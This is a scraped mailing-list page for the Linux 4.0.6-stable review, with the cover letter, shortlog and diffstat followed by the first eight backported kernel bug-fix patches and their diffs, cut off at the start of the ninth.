4.0.6-stable review
Subsystems (3)
Greg Kroah-Hartman
maintainercover 4.0.6-stable review
This is the start of the stable review cycle for the 4.0.6 release. There are 105 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun Jun 21 20:35:34 UTC 2015. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
kernel.org/pub/linux/kernel/v4.x/stable-review/patch-4.0.6-rc1.gz
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <[email protected]>
Linux 4.0.6-rc1
Chris Mason <[email protected]>
Btrfs: fix regression in raid level conversion
Chris Mason <[email protected]>
Btrfs: fix uninit variable in clone ioctl
Filipe Manana <[email protected]>
Btrfs: fix range cloning when same inode used as source and destination
Jeff Mahoney <[email protected]>
btrfs: cleanup orphans while looking up default subvolume
Chengyu Song <[email protected]>
btrfs: incorrect handling for fiemap_fill_next_extent return
Filipe Manana <[email protected]>
Btrfs: send, don't leave without decrementing clone root's send_progress
Filipe Manana <[email protected]>
Btrfs: send, add missing check for dead clone root
Oleg Nesterov <[email protected]>
x86/vdso: Fix 'make bzImage' on older distros
Tommi Kyntola <[email protected]>
x86/vdso: Fix the x86 vdso2c tool includes
Axel Lin <[email protected]>
irqchip: sunxi-nmi: Fix off-by-one error in irq iterator
Johannes Berg <[email protected]>
cfg80211: wext: clear sinfo struct before calling driver
Ming Lei <[email protected]>
blk-mq: free hctx->ctxs in queue's release handler
Mel Gorman <[email protected]>
sched, numa: do not hint for NUMA balancing on VM_MIXEDMAP mappings
NeilBrown <[email protected]>
md: don't return 0 from array_state_store
NeilBrown <[email protected]>
md: Close race when setting 'action' to 'idle'.
Gu Zheng <[email protected]>
mm/memory_hotplug.c: set zone->wait_table to null after freeing it
Yingjoe Chen <[email protected]>
arm64: dts: mt8173-evb: fix model name
Thomas Petazzoni <[email protected]>
Revert "bus: mvebu-mbus: make sure SDRAM CS for DMA don't overlap the MBus bridge window"
Nicolas Schichan <[email protected]>
bus: mvebu-mbus: do not set WIN_CTRL_SYNCBARRIER on non io-coherent platforms.
Nadav Haklai <[email protected]>
ata: ahci_mvebu: Fix wrongly set base address for the MBus window setting
Jiang Liu <[email protected]>
virtio_pci: Clear stale cpumask when setting irq affinity
Geert Uytterhoeven <[email protected]>
of/dynamic: Fix test for PPC_PSERIES
Philipp Zabel <[email protected]>
serial: imx: Fix DMA handling for IDLE condition aborts
Michel Dänzer <[email protected]>
drm/radeon: Make sure radeon_vm_bo_set_addr always unreserves the BO
Alex Deucher <[email protected]>
Revert "drm/radeon: adjust pll when audio is not enabled"
Alex Deucher <[email protected]>
Revert "drm/radeon: don't share plls if monitors differ in audio support"
Jérôme Glisse <[email protected]>
drm/radeon: fix freeze for laptop with Turks/Thames GPU.
Jani Nikula <[email protected]>
drm/i915: Fix DDC probe for passive adapters
Ville Syrjälä <[email protected]>
drm/i915: Don't skip request retirement if the active list is empty
Jim Bride <[email protected]>
drm/i915/hsw: Fix workaround for server AUX channel clock divisor
Alex Deucher <[email protected]>
drm/radeon: use proper ACR regisiter for DCE3.2
Alexey Skidanov <[email protected]>
drm/amdkfd: fix topology bug with capability attr.
Matthijs van Duin <[email protected]>
ARM: dts: am335x-boneblack: disable RTC-only sleep to avoid hardware damage
Aaro Koskinen <[email protected]>
pata_octeon_cf: fix broken build
Jason A. Donenfeld <[email protected]>
ozwpan: unchecked signed subtraction leads to DoS
Jason A. Donenfeld <[email protected]>
ozwpan: divide-by-zero leading to panic
Jason A. Donenfeld <[email protected]>
ozwpan: Use unsigned ints to prevent heap overflow
Jason A. Donenfeld <[email protected]>
ozwpan: Use proper check to prevent heap overflow
Nicholas Mc Guire <[email protected]>
MIPS: KVM: Do not sign extend on unsigned MMIO load
James Hogan <[email protected]>
MIPS: Fix enabling of DEBUG_STACKOVERFLOW
Jonas Gorski <[email protected]>
MIPS: ralink: Fix clearing the illegal access interrupt
Wang Long <[email protected]>
ring-buffer-benchmark: Fix the wrong sched_priority of producer
Andy Lutomirski <[email protected]>
x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers
Arthur Demchenkov <[email protected]>
usb: make module xhci_hcd removable
Chris Bainbridge <[email protected]>
usb: host: xhci: add mutex for non-thread-safe data
Subbaraya Sundeep Bhatta <[email protected]>
usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros
Patrick Riphagen <[email protected]>
USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board
John D. Blair <[email protected]>
USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle
NeilBrown <[email protected]>
block: discard bdi_unregister() in favour of bdi_destroy()
Dan Williams <[email protected]>
block: fix ext_dev_lock lockdep report
Sam Hung <[email protected]>
Input: elantech - add new icbody type
Hans de Goede <[email protected]>
Input: elantech - fix detection of touchpads where the revision matches a known rate
Peter Hutterer <[email protected]>
Input: synaptics - add min/max quirk for Lenovo S540
Hans de Goede <[email protected]>
Input: alps - do not reduce trackpoint speed by half
Vasily Khoruzhick <[email protected]>
i2c: s3c2410: fix oops in suspend callback for non-dt platforms
Axel Lin <[email protected]>
i2c: hix5hd2: Fix modalias to make module auto-loading work
Ludovic Desroches <[email protected]>
dmaengine: at_xdmac: lock fixes
Ludovic Desroches <[email protected]>
dmaengine: at_xdmac: rework slave configuration part
Krzysztof Kozlowski <[email protected]>
dmaengine: Fix choppy sound because of unimplemented resume
Krzysztof Kozlowski <[email protected]>
dmaengine: pl330: Fix hang on dmaengine_terminate_all on certain boards
Jurgen Kramer <[email protected]>
ALSA: usb-audio: add native DSD support for JLsounds I2SoverUSB
Clemens Ladisch <[email protected]>
ALSA: usb-audio: fix missing input volume controls in MAYA44 USB(+)
Clemens Ladisch <[email protected]>
ALSA: usb-audio: add MAYA44 USB+ mixer control names
Eric Wong <[email protected]>
ALSA: usb-audio: don't try to get Outlaw RR2150 sample rate
Wolfram Sang <[email protected]>
ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion
Takashi Iwai <[email protected]>
ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
David Woodhouse <[email protected]>
iommu/vt-d: Fix passthrough mode with translation-disabled devices
David Woodhouse <[email protected]>
iommu/vt-d: Allow RMRR on graphics devices too
Laura Abbott <[email protected]>
n_tty: Fix auditing support for cannonical mode
Sudeep Holla <[email protected]>
drivers/base: cacheinfo: handle absence of caches
Lars-Peter Clausen <[email protected]>
iio: adis16400: Fix burst transfer for adis16448
Paul Cercueil <[email protected]>
iio: adis16400: Fix burst mode
Paul Cercueil <[email protected]>
iio: adis16400: Compute the scan mask from channel indices
Paul Cercueil <[email protected]>
iio: adis16400: Use != channel indices for the two voltage channels
Lars-Peter Clausen <[email protected]>
iio: adis16400: Report pressure channel scale
Axel Lin <[email protected]>
iio: adc: twl6030-gpadc: Fix modalias
Herbert Xu <[email protected]>
netlink: Disable insertions/removals during rehash
Nikolay Aleksandrov <[email protected]>
bridge: disable softirqs around br_fdb_update to avoid lockup
Sriharsha Basavapatna <[email protected]>
be2net: Replace dma/pci_alloc_coherent() calls with dma_zalloc_coherent()
Shawn Bohrer <[email protected]>
ipv4/udp: Verify multicast group is ours in upd_v4_early_demux()
Ian Campbell <[email protected]>
xen: netback: read hotplug script once at start of day.
Neal Cardwell <[email protected]>
tcp: fix child sockets to use system default congestion control if not set
Eric Dumazet <[email protected]>
udp: fix behavior of wrong checksums
Eric Dumazet <[email protected]>
bridge: fix br_multicast_query_expired() bug
Jason Gunthorpe <[email protected]>
sctp: Fix mangled IPv4 addresses on a IPv6 listening socket
WANG Cong <[email protected]>
net_sched: invoke ->attach() after setting dev->qdisc
Ross Lagerwall <[email protected]>
xen/netback: Properly initialize credit_bytes
Mark Salyzyn <[email protected]>
unix/caif: sk_socket can disappear when state is unlocked
Richard Cochran <[email protected]>
net: dp83640: fix improper double spin locking.
Richard Cochran <[email protected]>
net: dp83640: reinforce locking rules.
Richard Cochran <[email protected]>
net: dp83640: fix broken calibration routine.
Thadeu Lima de Souza Cascardo <[email protected]>
bridge: fix parsing of MLDv2 reports
Bjørn Mork <[email protected]>
cdc_ncm: Fix tx_bytes statistics
Eric W. Biederman <[email protected]>
ipv4: Avoid crashing in ip_error
Daniel Borkmann <[email protected]>
net: sched: fix call_rcu() race on classifier module unloads
Henning Rogge <[email protected]>
net/ipv6/udp: Fix ipv6 multicast socket filter regression
Florent Fourcot <[email protected]>
tcp/ipv6: fix flow label setting in TIME_WAIT state
Nicolas Dichtel <[email protected]>
rtnl/bond: don't send rtnl msg for unregistered iface
Herbert Xu <[email protected]>
netlink: Reset portid after netlink_insert failure
Florian Fainelli <[email protected]>
net: phy: Allow EEE for all RGMII variants
Alexei Starovoitov <[email protected]>
x86: bpf_jit: fix compilation of large bpf programs
Alexei Starovoitov <[email protected]>
x86: bpf_jit: fix FROM_BE16 and FROM_LE16/32 instructions
Vlad Yasevich <[email protected]>
net: core: Correct an over-stringent device loop detection.
Jens Axboe <[email protected]>
aio: fix serial draining in exit_aio()
Ilya Dryomov <[email protected]>
crush: ensuring at most num-rep osds are selected
-------------
Diffstat:
Makefile | 4 +- arch/arm/boot/dts/am335x-bone-common.dtsi | 19 ++ arch/arm64/boot/dts/mediatek/mt8173-evb.dts | 3 +- arch/mips/kernel/irq.c | 2 +- arch/mips/kvm/emulate.c | 2 +- arch/mips/ralink/ill_acc.c | 2 +- arch/x86/include/asm/segment.h | 15 +- arch/x86/kernel/head64.c | 2 +- arch/x86/kernel/head_32.S | 33 ++-- arch/x86/kernel/head_64.S | 20 ++- arch/x86/net/bpf_jit_comp.c | 35 +++- arch/x86/vdso/Makefile | 2 +- block/blk-mq.c | 8 +- block/genhd.c | 13 +- drivers/ata/ahci_mvebu.c | 2 +- drivers/ata/pata_octeon_cf.c | 2 +- drivers/base/cacheinfo.c | 2 +- drivers/bus/mvebu-mbus.c | 109 ++---------- drivers/dma/at_xdmac.c | 233 +++++++++++++++---------- drivers/dma/dmaengine.c | 6 +- drivers/dma/pl330.c | 3 + drivers/gpu/drm/amd/amdkfd/kfd_topology.c | 4 +- drivers/gpu/drm/i915/i915_gem.c | 3 - drivers/gpu/drm/i915/intel_dp.c | 5 +- drivers/gpu/drm/i915/intel_i2c.c | 20 ++- drivers/gpu/drm/radeon/atombios_crtc.c | 7 +- drivers/gpu/drm/radeon/dce3_1_afmt.c | 2 +- drivers/gpu/drm/radeon/radeon_device.c | 15 ++ drivers/gpu/drm/radeon/radeon_vm.c | 17 +- drivers/i2c/busses/i2c-hix5hd2.c | 2 +- drivers/i2c/busses/i2c-s3c2410.c | 1 + drivers/iio/adc/twl6030-gpadc.c | 2 +- drivers/iio/imu/adis16400.h | 2 + drivers/iio/imu/adis16400_buffer.c | 26 ++- drivers/iio/imu/adis16400_core.c | 41 +++-- drivers/input/mouse/alps.c | 5 +- drivers/input/mouse/elantech.c | 8 +- drivers/input/mouse/synaptics.c | 7 +- drivers/iommu/intel-iommu.c | 20 ++- drivers/irqchip/irq-sunxi-nmi.c | 2 +- drivers/md/md.c | 13 +- drivers/net/bonding/bond_options.c | 2 +- drivers/net/ethernet/emulex/benet/be_cmds.c | 87 +++++---- drivers/net/ethernet/emulex/benet/be_ethtool.c | 18 +- drivers/net/ethernet/emulex/benet/be_main.c | 16 +- drivers/net/phy/dp83640.c | 23 ++- drivers/net/phy/phy.c | 7 +- drivers/net/usb/cdc_ncm.c | 2 +- drivers/net/xen-netback/xenbus.c | 34 ++-- drivers/of/dynamic.c | 2 +- drivers/staging/ozwpan/ozhcd.c | 8 +- drivers/staging/ozwpan/ozusbif.h | 4 +- drivers/staging/ozwpan/ozusbsvc1.c | 19 +- drivers/tty/n_tty.c | 17 +- drivers/tty/serial/imx.c | 8 + drivers/usb/dwc3/core.h | 4 +- drivers/usb/host/xhci.c | 57 ++++-- drivers/usb/host/xhci.h | 2 + drivers/usb/serial/cp210x.c | 1 + drivers/usb/serial/ftdi_sio.c | 1 + drivers/usb/serial/ftdi_sio_ids.h | 1 + drivers/virtio/virtio_pci_common.c | 1 + fs/aio.c | 45 +++-- fs/btrfs/extent-tree.c | 18 ++ fs/btrfs/extent_io.c | 5 +- fs/btrfs/ioctl.c | 6 +- fs/btrfs/send.c | 7 +- fs/btrfs/super.c | 9 + include/linux/backing-dev.h | 1 - include/net/inet_connection_sock.h | 3 +- include/net/sctp/sctp.h | 7 +- include/trace/events/writeback.h | 1 - kernel/sched/fair.c | 2 +- kernel/trace/ring_buffer_benchmark.c | 2 +- mm/backing-dev.c | 18 +- mm/memory_hotplug.c | 4 +- net/bridge/br_fdb.c | 2 + net/bridge/br_multicast.c | 4 +- net/caif/caif_socket.c | 8 + net/ceph/crush/mapper.c | 16 +- net/core/dev.c | 2 +- net/core/rtnetlink.c | 3 + net/ipv4/route.c | 4 + net/ipv4/tcp_cong.c | 5 +- net/ipv4/tcp_minisocks.c | 7 +- net/ipv4/udp.c | 24 ++- net/ipv6/tcp_ipv6.c | 2 +- net/ipv6/udp.c | 10 +- net/netlink/af_netlink.c | 7 +- net/sched/cls_api.c | 5 + net/sched/sch_api.c | 10 +- net/unix/af_unix.c | 8 + net/wireless/wext-compat.c | 2 + sound/pci/hda/patch_realtek.c | 1 + sound/usb/mixer.c | 10 +- sound/usb/mixer_maps.c | 5 + sound/usb/quirks.c | 6 +- 97 files changed, 812 insertions(+), 490 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 1/105 crush: ensuring at most num-rep osds are selected
4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ilya Dryomov <[email protected]>
commit 45002267e8d2699bf9b022315bee3dd13b044843 upstream.
Crush temporary buffers are allocated as per replica size configured by the user. When there are more final osds (to be selected as per rule) than the replicas, buffer overlaps and it causes crash. Now, it ensures that at most num-rep osds are selected even if more number of osds are allowed by the rule.
Reflects ceph.git commits 6b4d1aa99718e3b367496326c1e64551330fabc0,
234b066ba04976783d15ff2abc3e81b6cc06fb10.
--- net/ceph/crush/mapper.c | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-)
net/ceph/crush/mapper.c +12 -4
@@ -290,6 +290,7 @@ static int is_out(const struct crush_map* @type: the type of item to choose * @out: pointer to output vector * @outpos: our position in that vector +* @out_size: size of the out vector * @tries: number of attempts to make * @recurse_tries: number of attempts to have recursive chooseleaf make * @local_retries: localized retries
@@ -304,6 +305,7 @@ static int crush_choose_firstn(const str const __u32 *weight, int weight_max, int x, int numrep, int type, int *out, int outpos, + int out_size, unsigned int tries, unsigned int recurse_tries, unsigned int local_retries,
@@ -322,6 +324,7 @@ static int crush_choose_firstn(const strint item =0 ;int itemtype;int collide, reject; +int count = out_size; dprintk("CHOOSE%s bucket %d x %d outpos %d numrep %d tries %d recurse_tries %d local_retries %d local_fallback_retries %d parent_r %d\n", recurse_to_leaf ? "_LEAF" : "",
@@ -329,7 +332,7 @@ static int crush_choose_firstn(const str tries, recurse_tries, local_retries, local_fallback_retries, parent_r); -for (rep = outpos; rep < numrep; rep++) { +for (rep = outpos; rep < numrep && count >0 ; rep++) {/* keep trying until we get a non-out, non-colliding item */ ftotal =0 ; skip_rep =0 ;
@@ -403,7 +406,7 @@ static int crush_choose_firstn(const str map->buckets[-1 -item], weight, weight_max, x, outpos+1 ,0 , - out2, outpos, + out2, outpos, count, recurse_tries,0 , local_retries, local_fallback_retries,
@@ -463,6 +466,7 @@ reject:dprintk ("CHOOSE got %d\n" , item); out[outpos] = item; outpos++; + count--; }dprintk ("CHOOSE returns %d\n" , outpos);
@@ -654,6 +658,7 @@ int crush_do_rule(const struct crush_map__u32 step;int i, j;int numrep; +int out_size;/* * the original choose_total_tries value was off by one (it * counted "retries" and not "tries"). add one.
@@ -761,6 +766,7 @@ int crush_do_rule(const struct crush_map x, numrep, curstep->arg2, o+osize, j, + result_max-osize, choose_tries, recurse_tries, choose_local_retries,
@@ -770,11 +776,13 @@ int crush_do_rule(const struct crush_map c+osize, 0); }else { + out_size = ((numrep < (result_max-osize)) ? + numrep : (result_max-osize)); crush_choose_indep( map, map->buckets[-1-w[i]], weight, weight_max, - x, numrep, numrep, + x, out_size, numrep, curstep->arg2, o+osize, j, choose_tries,
@@ -783,7 +791,7 @@ int crush_do_rule(const struct crush_map recurse_to_leaf, c+osize, 0); - osize += numrep; + osize += out_size; } }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 2/105 aio: fix serial draining in exit_aio()
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jens Axboe <[email protected]>
commit dc48e56d761610da4ea1088d1bea0a030b8e3e43 upstream.
exit_aio() currently serializes killing io contexts. Each context killing ends up having to do percpu_ref_kill(), which in turns has to wait for an RCU grace period. This can take a long time, depending on the number of contexts. And there's no point in doing them serially, when we could be waiting for all of them in one fell swoop.
This patches makes my fio thread offload test case exit 0.2s instead of almost 6s.
--- fs/aio.c | 45 ++++++++++++++++++++++++++++++--------------- 1 file changed, 30 insertions(+), 15 deletions(-)
fs/aio.c +30 -15
@@ -77,6 +77,11 @@ struct kioctx_cpu {unsigned reqs_available; }; +struct ctx_rq_wait { +struct completion comp; +atomic_t count; +}; +struct kioctx {struct percpu_ref users;atomic_t dead;
@@ -115,7 +120,7 @@ struct kioctx {/* * signals when all in-flight requests are done */ -struct completion *requests_done; +struct ctx_rq_wait *rq_wait;struct {/*
@@ -539,8 +544,8 @@ static void free_ioctx_reqs(struct percp struct kioctx *ctx = container_of(ref, struct kioctx, reqs);/* At this point we know that there are no any in-flight requests */ -if (ctx->requests_done) -complete (ctx->requests_done); +if (ctx->rq_wait &&atomic_dec_and_test (&ctx->rq_wait->count)) +complete (&ctx->rq_wait->comp);INIT_WORK (&ctx->free_work, free_ioctx);schedule_work (&ctx->free_work);
@@ -751,7 +756,7 @@ err:* the rapid destruction of the kioctx. */ static int kill_ioctx (struct mm_struct *mm,struct kioctx *ctx, -struct completion *requests_done) +struct ctx_rq_wait *wait) {struct kioctx_table *table;
@@ -781,7 +786,7 @@ static int kill_ioctx(struct mm_struct *if (ctx->mmap_size)vm_munmap (ctx->mmap_base, ctx->mmap_size); - ctx->requests_done = requests_done; + ctx->rq_wait = wait;percpu_ref_kill (&ctx->users);return 0 ; }
@@ -813,18 +818,24 @@ EXPORT_SYMBOL(wait_on_sync_kiocb);void exit_aio (struct mm_struct *mm) {struct kioctx_table *table =rcu_dereference_raw (mm->ioctx_table); -int i; +struct ctx_rq_wait wait; +int i, skipped;if (!table)return ; +atomic_set (&wait.count, table->nr); +init_completion (&wait.comp); + + skipped =0 ;for (i =0 ; i < table->nr; ++i) {struct kioctx *ctx = table->table[i]; -struct completion requests_done = -COMPLETION_INITIALIZER_ONSTACK (requests_done); -if (!ctx) +if (!ctx) { + skipped++;continue ; + } +/* * We don't need to bother with munmap() here - exit_mmap(mm) * is coming and it'll unmap everything. And we simply can't,
@@ -833,10 +844,12 @@ void exit_aio(struct mm_struct *mm)* that it needs to unmap the area, just set it to 0. */ ctx->mmap_size =0 ; -kill_ioctx (mm, ctx, &requests_done); +kill_ioctx (mm, ctx, &wait); + } +if (!atomic_sub_and_test (skipped, &wait.count)) {/* Wait until all IO for the context are done. */ -wait_for_completion (&requests_done); +wait_for_completion (&wait.comp); }RCU_INIT_POINTER (mm->ioctx_table,NULL );
@@ -1321,15 +1334,17 @@ SYSCALL_DEFINE1(io_destroy, aio_context_ {struct kioctx *ioctx =lookup_ioctx (ctx);if (likely (NULL != ioctx)) { -struct completion requests_done = -COMPLETION_INITIALIZER_ONSTACK (requests_done); +struct ctx_rq_wait wait;int ret; +init_completion (&wait.comp); +atomic_set (&wait.count,1 ); +/* Pass requests_done to kill_ioctx() where it can be set * in a thread-safe way. If we try to set it here then we have * a race condition if two io_destroy() called simultaneously. */ - ret =kill_ioctx (current->mm, ioctx, &requests_done); + ret =kill_ioctx (current->mm, ioctx, &wait);percpu_ref_put (&ioctx->users);/* Wait until all IO for the context are done. Otherwise kernel
@@ -1337,7 +1352,7 @@ SYSCALL_DEFINE1(io_destroy, aio_context_* is destroyed. */ if (!ret) -wait_for_completion (&requests_done); +wait_for_completion (&wait.comp);return ret; }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 3/105 net: core: Correct an over-stringent device loop detection.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vlad Yasevich <[email protected]>
[ Upstream commit d66bf7dd27573ee5ea90484899ee952c19ccb194 ]
The code in __netdev_upper_dev_link() has an over-stringent loop detection logic that actually prevents valid configurations from working correctly.
In particular, the logic returns an error if an upper device is already in the list of all upper devices for a given dev. This particular check seems to be a overzealous as it disallows perfectly valid configurations. For example:
# ip l a link eth0 name eth0.10 type vlan id 10 # ip l a dev br0 typ bridge # ip l s eth0.10 master br0 # ip l s eth0 master br0 <--- Will fail
If you switch the last two commands (add eth0 first), then both will succeed. If after that, you remove eth0 and try to re-add it, it will fail!
It appears to be enough to simply check adj_list to keeps things safe.
I've tried stacking multiple devices multiple times in all different combinations, and either rx_handler registration prevented the stacking of the device linking cought the error.
--- net/core/dev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
net/core/dev.c +1 -1
@@ -5170,7 +5170,7 @@ static int __netdev_upper_dev_link(strucif (__netdev_find_adj (upper_dev, dev, &upper_dev->all_adj_list.upper))return -EBUSY ; -if (__netdev_find_adj (dev, upper_dev, &dev->all_adj_list.upper)) +if (__netdev_find_adj (dev, upper_dev, &dev->adj_list.upper))return -EEXIST ;if (master &&netdev_master_upper_dev_get (dev))
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 4/105 x86: bpf_jit: fix FROM_BE16 and FROM_LE16/32 instructions
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexei Starovoitov <[email protected]>
[ Upstream commit 343f845b375989f1753f605902931fa939aa2223 ]
FROM_BE16:
'ror %reg, 8' doesn't clear upper bits of the register, so use additional 'movzwl' insn to zero extend 16 bits into 64
FROM_LE16:
should zero extend lower 16 bits into 64 bit
FROM_LE32:
should zero extend lower 32 bits into 64 bit
--- arch/x86/net/bpf_jit_comp.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+)
arch/x86/net/bpf_jit_comp.c +28 -0
@@ -559,6 +559,13 @@ static int do_jit(struct bpf_prog *bpf_pif (is_ereg (dst_reg))EMIT1 (0x41 );EMIT3 (0xC1 ,add_1reg (0xC8 , dst_reg),8 ); + +/* emit 'movzwl eax, ax' */ +if (is_ereg (dst_reg)) +EMIT3 (0x45 ,0x0F ,0xB7 ); +else +EMIT2 (0x0F ,0xB7 ); +EMIT1 (add_2reg (0xC0 , dst_reg, dst_reg));break ;case 32 :/* emit 'bswap eax' to swap lower 4 bytes */
@@ -577,6 +584,27 @@ static int do_jit(struct bpf_prog *bpf_pbreak ;case BPF_ALU |BPF_END |BPF_FROM_LE : +switch (imm32) { +case 16 : +/* emit 'movzwl eax, ax' to zero extend 16-bit +* into 64 bit +*/ +if (is_ereg (dst_reg)) +EMIT3 (0x45 ,0x0F ,0xB7 ); +else +EMIT2 (0x0F ,0xB7 ); +EMIT1 (add_2reg (0xC0 , dst_reg, dst_reg)); +break ; +case 32 : +/* emit 'mov eax, eax' to clear upper 32-bits */ +if (is_ereg (dst_reg)) +EMIT1 (0x45 ); +EMIT2 (0x89 ,add_2reg (0xC0 , dst_reg, dst_reg)); +break ; +case 64 : +/* nop */ +break ; + }break ;/* ST: *(u8*)(dst_reg + off) = imm */
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 5/105 x86: bpf_jit: fix compilation of large bpf programs
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexei Starovoitov <[email protected]>
[ Upstream commit 3f7352bf21f8fd7ba3e2fcef9488756f188e12be ]
x86 has variable length encoding. x86 JIT compiler is trying to pick the shortest encoding for given bpf instruction. While doing so the jump targets are changing, so JIT is doing multiple passes over the program. Typical program needs 3 passes. Some very short programs converge with 2 passes. Large programs may need 4 or 5. But specially crafted bpf programs may hit the pass limit and if the program converges on the last iteration the JIT compiler will be producing an image full of 'int 3' insns. Fix this corner case by doing final iteration over bpf program.
--- arch/x86/net/bpf_jit_comp.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)
arch/x86/net/bpf_jit_comp.c +6 -1
@@ -966,7 +966,12 @@ void bpf_int_jit_compile(struct bpf_prog } ctx.cleanup_addr = proglen; -for (pass =0 ; pass <10 ; pass++) { +/* JITed image shrinks with every pass and the loop iterates +* until the image stops shrinking. Very large bpf programs +* may converge on the last pass. In such case do one more +* pass to emit the final image +*/ +for (pass =0 ; pass <10 || image; pass++) { proglen =do_jit (prog, addrs, image, oldproglen, &ctx);if (proglen <=0 ) { image =NULL ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 6/105 net: phy: Allow EEE for all RGMII variants
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Florian Fainelli <[email protected]>
[ Upstream commit 7e14069651591c81046ffaec13c3dac8cb70f5fb ]
RGMII interfaces come in multiple flavors: RGMII with transmit or receive internal delay, no delays at all, or delays in both direction.
This change extends the initial check for PHY_INTERFACE_MODE_RGMII to cover all of these variants since EEE should be allowed for any of these modes, since it is a property of the RGMII, hence Gigabit PHY capability more than the RGMII electrical interface and its delays.
--- drivers/net/phy/phy.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/net/phy/phy.c +4 -3
@@ -1053,13 +1053,14 @@ int phy_init_eee(struct phy_device *phyd {/* According to 802.3az,the EEE is supported only in full duplex-mode. * Also EEE feature is active when core is operating with MII, GMII -* or RGMII. Internal PHYs are also allowed to proceed and should -* return an error if they do not support EEE. +* or RGMII (all kinds). Internal PHYs are also allowed to proceed and +* should return an error if they do not support EEE. */ if ((phydev->duplex ==DUPLEX_FULL ) && ((phydev->interface ==PHY_INTERFACE_MODE_MII ) || (phydev->interface ==PHY_INTERFACE_MODE_GMII ) || - (phydev->interface ==PHY_INTERFACE_MODE_RGMII ) || + (phydev->interface >=PHY_INTERFACE_MODE_RGMII && + phydev->interface <=PHY_INTERFACE_MODE_RGMII_TXID ) ||phy_is_internal (phydev))) {int eee_lp, eee_cap, eee_adv;u32 lp, cap, adv;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 7/105 netlink: Reset portid after netlink_insert failure
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Herbert Xu <[email protected]>
[ Upstream commit c0bb07df7d981e4091432754e30c9c720e2c0c78 ]
The commit c5adde9468b0714a051eac7f9666f23eb10b61f7 ("netlink:
eliminate nl_sk_hash_lock") breaks the autobind retry mechanism because it doesn't reset portid after a failed netlink_insert.
This means that should autobind fail the first time around, then the socket will be stuck in limbo as it can never be bound again since it already has a non-zero portid.
--- net/netlink/af_netlink.c | 1 + 1 file changed, 1 insertion(+)
net/netlink/af_netlink.c +1 -0
@@ -1069,6 +1069,7 @@ static int netlink_insert(struct sock *s err =0 ;if (!__netlink_insert (table, sk)) { err = -EADDRINUSE ; +nlk_sk (sk)->portid =0 ;sock_put (sk); }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 8/105 rtnl/bond: dont send rtnl msg for unregistered iface
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nicolas Dichtel <[email protected]>
[ Upstream commit ed2a80ab7b76f11af0b2c6255709c4ebf164b667 ]
Before the patch, the command 'ip link add bond2 type bond mode 802.3ad' causes the kernel to send a rtnl message for the bond2 interface, with an ifindex 0.
'ip monitor' shows:
0: bond2: <BROADCAST,MULTICAST,MASTER> mtu 1500 state DOWN group default
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
9: bond2@NONE: <BROADCAST,MULTICAST,MASTER> mtu 1500 qdisc noop state DOWN group default
link/ether ea:3e:1f:53:92:7b brd ff:ff:ff:ff:ff:ff[snip]
The patch fixes the spotted bug by checking in bond driver if the interface is registered before calling the notifier chain.
It also adds a check in rtmsg_ifinfo() to prevent this kind of bug in the future.
--- drivers/net/bonding/bond_options.c | 2 +- net/core/rtnetlink.c | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-)
drivers/net/bonding/bond_options.c +1 -1
@@ -624,7 +624,7 @@ int __bond_opt_set(struct bonding *bond, out:if (ret)bond_opt_error_interpret (bond, opt, ret, val); -else +else if (bond->dev->reg_state ==NETREG_REGISTERED )call_netdevice_notifiers (NETDEV_CHANGEINFODATA , bond->dev);return ret;
net/core/rtnetlink.c +3 -0
@@ -2337,6 +2337,9 @@ void rtmsg_ifinfo(int type, struct net_d {struct sk_buff *skb; +if (dev->reg_state !=NETREG_REGISTERED ) +return ; + skb =rtmsg_ifinfo_build_skb (type, dev, change, flags);if (skb)rtmsg_ifinfo_send (skb, dev, flags);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 9/105 tcp/ipv6: fix flow label setting in TIME_WAIT state
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Florent Fourcot <[email protected]>
[ Upstream commit 21858cd02dabcf290564cbf4769b101eba54d7bb ]
